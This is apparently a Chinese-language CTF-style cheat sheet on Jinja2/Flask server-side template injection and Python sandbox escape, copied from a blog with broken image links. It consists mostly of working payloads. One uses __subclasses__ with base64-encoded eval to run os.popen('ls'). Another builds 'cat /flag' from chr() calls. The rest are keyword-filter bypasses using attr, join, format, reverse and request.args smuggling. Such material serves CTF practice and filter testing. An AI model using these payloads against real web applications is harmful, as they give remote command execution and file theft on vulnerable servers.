().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()%}
//[os][popen](cat /flag)
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
前提是过滤的只是小写
""["__CLASS__".lower()]
('__clas','s__')|join
["__CLASS__"|lower
"__claee__"|replace("ee","ss")
"__ssalc__"|reverse
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]
dict(__clas=a,s__=b)|join
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)
().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")
[‘__add__’, ‘__class__’, ‘__contains__’, ‘__delattr__’, ‘__doc__’, ‘__eq__’, ‘__format__’, ‘__ge__’, ‘__getattribute__’, ‘__getitem__’, ‘__getnewargs__’, ‘__getslice__’, ‘__gt__’, ‘__hash__’, ‘__init__’, ‘__le__’, ‘__len__’, ‘__lt__’, ‘__mod__’, ‘__mul__’, ‘__ne__’, ‘__new__’, ‘__reduce__’, ‘__reduce_ex__’, ‘__repr__’, ‘__rmod__’, ‘__rmul__’, ‘__setattr__’, ‘__sizeof__’, ‘__str__’, ‘__subclasshook__’, ‘_formatter_field_name_split’, ‘_formatter_parser’, ‘capitalize’, ‘center’, ‘count’, ‘decode’, ‘encode’, ‘endswith’, ‘expandtabs’, ‘find’, ‘format’, ‘index’, ‘isalnum’, ‘isalpha’, ‘isdigit’, ‘islower’, ‘isspace’, ‘istitle’, ‘isupper’, ‘join’, ‘ljust’, ‘lower’, ‘lstrip’, ‘partition’, ‘replace’, ‘rfind’, ‘rindex’, ‘rjust’, ‘rpartition’, ‘rsplit’, ‘rstrip’, ‘split’, ‘splitlines’, ‘startswith’, ‘strip’, ‘swapcase’, ‘title’, ‘translate’, ‘upper’, ‘zfill’]
以上即为str的原生函数,我们可以使用decode、replace等来绕过所过滤的关键字。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kIAwAWRt-1663477021421)(images/5f9Zg3VbJsa79VpU1ElwVeAuEtmk0waNLWINGX3x52o.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y4uuQS7d-1663477021421)(images/l7yDJ6OWkmpNy61aQd0kiPqq8qXKy1_f2Qjx15ZWWKo.png)]
如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们过滤__class__,可以用request.args.a且以GET方式提交a=__class__来替换被过滤的.__class__
举例:
例一:
{{''.__class__}} => {{''[request.args.a]}}&a=__class__
例二:
{{''.__class__}} => {{''[request['args']['a']]}}&a=__class__
过滤了_可以用dir(0)[0][0]或者request[‘args’]或者 request[‘values’]绕过
但是如果还过滤了 args,可以用request[‘values’]和attr结合绕过
例如:
‘’.__class__写成 ‘’|attr(request[‘values’][‘a’]),然后post传入a=__class__